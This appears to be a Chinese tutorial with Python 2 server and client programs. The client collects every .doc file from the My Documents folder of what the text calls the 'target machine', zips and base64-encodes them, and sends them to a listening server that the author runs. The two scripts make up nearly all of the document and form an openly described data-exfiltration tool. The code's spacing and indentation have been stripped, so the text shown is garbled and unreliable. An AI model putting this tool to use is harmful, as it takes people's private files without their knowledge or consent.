python实现获取客户机上指定文件并传输到服务器的方法
本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方pythonserver.py,然后client.py放到目标机器,然后pythonclient.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
服务器端程序:
#-*-coding:cp936-*-
importsocket
importwin32com.client
importos
importzipfile
importcodecs
importbase64
defmain():
HOST='127.0.0.1'
PORT=2000
BUF_SIZE=6553500#6M
key='ouyang'
timeout=5
dicName="ouyang\\"
ss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print"watingforconntecting..."
whileTrue:
try:
cs,addr=ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200Connected!")
#获取加密数据
encode_data=cs.recv(BUF_SIZE)
#把数据写到out.zip文件
tmpfile=open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
exceptIOError,e:
print'StrangeerrorcreatingIOError:%s'%e
tmpfile.close()
finally:
tmpfile.close()
#base64decode2进制解密decode(infile,outfile)
tmpfile=open('out.tmp','rb')
outfile=open('out.zip','wb')
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打开zip文件
zfile=zipfile.ZipFile('out.zip','r')
#创建一个文件夹来存放获取的zip文件
ifnotos.path.exists(dicName):
os.mkdir(dicName)
forfinzfile.namelist():
data=zfile.read(f)
file=open(dicName+os.path.basename(f),'w+b')
file.write(data)
file.close()
print"finished!!!"
zfile.close()
#后续处理删除临时文件
os.remove('out.tmp')
cs.close()
exceptsocket.error,e:
print'Strangeerrorcreatingsocket:%s'%e
cs.close()
ss.close()
exceptsocket.error,e:
print'Strangeerrorcreatingsocket:%s'%e
ss.close()
if__name__=='__main__':
main()
客户端程序:
#-*-coding:cp936-*-
importsocket
importwin32com.client
importwin32api
importos
importtime
importzipfile
importcodecs
importbase64
defwalk_dir(dir,filelist,extName,topdown=True):
forroot,dirs,filesinos.walk(dir,topdown):
fornameinfiles:
if(os.path.splitext(os.path.join(root,name)))[-1]==extName:
filelist.append(os.path.join(root,name))
fornameindirs:
if(os.path.splitext(os.path.join(root,name)))[-1]==extName:
filelist.append(os.path.join(root,name))
defmain():
HOST='127.0.0.1'
PORT=2000
BUF_SIZE=65535
key='ouyang'
dicName="C:\DocumentsandSettings\Administrator\我的文档"
extName='.doc'
#遍历搜索我的文档的doc类型
try:
filelist=[]
walk_dir(dicName,filelist,extName)
exceptIOError,e:
print"文件处理错误:"%e
sys.exit(-1)
cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
printcs.recv(BUF_SIZE)
#压缩成zip文件
zfile=zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
forfinfilelist:
zfile.write(f)
zfile.close()
#base2进制加密encode(infile,outfile)
infile=open('in.zip','rb')
tmpfile=open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile=open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后续处理删除中间文件
os.remove('in.tmp')
cs.close()
exceptsocket.error,e:
print'socket出错啦:'%e
cs.close()
if__name__=='__main__':
main()
希望本文所述对大家的Python程序设计有所帮助。